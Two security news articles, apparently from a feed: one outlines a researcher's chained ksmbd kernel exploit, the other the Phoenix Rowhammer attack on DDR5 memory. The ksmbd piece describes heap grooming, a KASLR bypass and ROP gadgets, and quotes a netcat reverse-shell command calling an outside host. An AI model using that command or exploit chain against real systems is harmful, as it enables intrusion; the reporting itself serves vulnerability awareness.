A 0-Click Linux Kernel KSMBD RCE Exploit From N-Day Vulnerabilities, achieving remote code execution on a two-year-out-of-date Linux 6.1.45 instance running the kernelspace SMB3 daemon, ksmbd. 

By chaining two authenticated N-day flaws, CVE-2023-52440 and CVE-2023-4130, the exploit attains an unauthenticated SLUB overflow and an out-of-bounds heap read primitive, culminating in a user-mode helper invocation and reverse shell without any manual interaction.

Key Takeaways
1. Chained two ksmbd N-day bugs SLUB overflow and OOB read to achieve 0-click RCE.
2. Heap-sprayed and overflowed kmalloc slabs to bypass KASLR and hijack a forged vtable.
3. Executed a ROP chain via call_usermodehelper() for a reverse shell.

Targeting ksmbd: A Kernelspace SMB3 Daemon

Eternal-Tux reports that the ksmbd module implements an in-kernel SMB3 server to offload performance-critical tasks from userspace. Its challenge-response NTLM authentication and extended attribute handling introduced two high-severity bugs in 2023 and 2024. 

CVE-2023-52440 arises in ksmbd_decode_ntlmssp_auth_blob(), where an unchecked sess_key_len leads to a controlled SLUB overflow during cifs_arc4_crypt(). 

By setting the session_key to an attacker-supplied blob via Impacket’s ntlmChallengeResponse, the exploit gains a reliable heap-overflow primitive. 

Next, CVE-2023-4130 resides in smb2_set_ea(), where improper length validation of smb2_ea_info entries enables an authenticated OOB read of adjacent heap chunks into an extended attribute. 

The researcher leveraged Impacket’s setInfo() and queryInfo() functions to craft malicious EA buffers and leak kernel heap contents, performing a KASLR bypass and precise heap grooming.

The Exploit Chain

On a single-core testbed with standard mitigations enabled (SMEP, SMAP, KPTI, KASLR, hardened SLUB), the exploit begins by spraying multiple TCP connections to allocate pairs of ksmbd_conn (kmalloc-1k) and ksmbd_session (kmalloc-512) objects. 

A “spray, leak, retry” loop ensures a valid session leak, while an “overflow, oracle, retry” pattern isolates the overflowed connection. 

By abusing the SLUB overflow, the attacker corrupts the Preauth_HashValue pointer in a ksmbd_session, converting it into an arbitrary free on kmalloc-1k. 

Subsequent EA-based leaks identify a target ksmbd_conn object, revealing kernel pointers and computing the KASLR base. With precise offsets in hand, a second SLUB overflow triggers an arbitrary free and reallocation of a forged vtable object. 

The corrupted local_nls pointer in ksmbd_conn is overwritten to point to a fake vtable containing ROP gadgets: pop rdi; ret, pop rsi; ret, pop rdx; ret, pop rcx; ret, and a leave; ret stack pivot. 

The final payload invokes call_usermodehelper(“/usr/bin/nc.traditional”, “-e”, “/bin/sh”, “ctfi.ng”, “16549”) followed by msleep() to freeze the kernel thread, spawning a reverse shell on port 16549.

Although ksmbd sees limited production deployment, this exploit chain underscores the kernel’s expanding attack surface as userspace modules migrate into kernelspace. 

Eternal-Tux’s research exemplifies the evolving sophistication of N-day exploit development and the critical need for rigorous kernel vulnerability management.

Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free

The post 0-Click Linux Kernel KSMBD RCE Exploit From N-Day Vulnerabilities appeared first on Cyber Security News.

A new Rowhammer attack variant named Phoenix can bypass the latest protections in modern DDR5 memory chips, researchers have revealed.

The attack is the first to demonstrate a practical privilege escalation exploit on a commodity system equipped with DDR5 RAM, undermining the assumption that these newer memory modules were immune to such threats.

Rowhammer is a long-standing hardware vulnerability where repeatedly accessing (or “hammering”) rows of memory cells in a DRAM chip can cause electrical interference, leading to bit flips in adjacent, unaccessed rows.

While numerous attacks have targeted older DDR3 and DDR4 memory, DDR5 was designed with more sophisticated in-DRAM Target Row Refresh (TRR) mechanisms to prevent this.

These mitigations were believed to be effective, as previous attempts to trigger Rowhammer bit flips on DDR5 devices had largely failed.

Self-Correcting Synchronization

Researchers from ETH Zurich and Google discovered that the TRR mechanisms in DDR5 chips from vendor SK Hynix operate over significantly longer and more complex patterns than those in DDR4.

To bypass these defenses, an attack must remain synchronized with thousands of periodic refresh commands issued by the memory controller.

The research team found that existing synchronization techniques were not reliable enough for this task, as they would frequently miss refresh commands and lose alignment, rendering the attack ineffective.

The key innovation behind the Phoenix attack is a technique the researchers call self-correcting synchronization. Instead of trying to avoid missing refresh commands, Phoenix is designed to detect when a refresh has been missed and automatically realign its hammering pattern accordingly.

This allows the attack to maintain synchronization for the extended periods required to accumulate enough “hammers” to cause bit flips, even on a standard commodity computer with default settings.

By reverse-engineering the behavior of the TRR mechanisms, the team developed custom hammering patterns that exploit “blind spots” in the defense, hammering specific memory locations in lightly monitored refresh intervals.

The Phoenix attack proved highly effective in tests. It successfully triggered bit flips on all 15 commercial DDR5 memory modules from SK Hynix that were evaluated, which were manufactured between 2021 and 2024.

Using these bit flips, the researchers developed the first end-to-end Rowhammer exploit for DDR5, allowing them to gain the highest-level (root) privileges on a test system in as little as 109 seconds. The vulnerability has been assigned the identifier CVE-2025-6202.

The findings were responsibly disclosed to SK Hynix, CPU vendors, and major cloud providers in June 2025. While increasing the memory refresh rate by a factor of three was shown to mitigate the attack, it incurred a significant performance overhead of 8.4%.

The researchers argue that Phoenix demonstrates the need for manufacturers to implement principled, verifiable security measures rather than relying on proprietary, obscure mitigations that can be bypassed with enough effort.

Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free

The post New Phoenix Rowhammer Attack Variant Bypasses Protection With DDR5 Chips appeared first on Cyber Security News.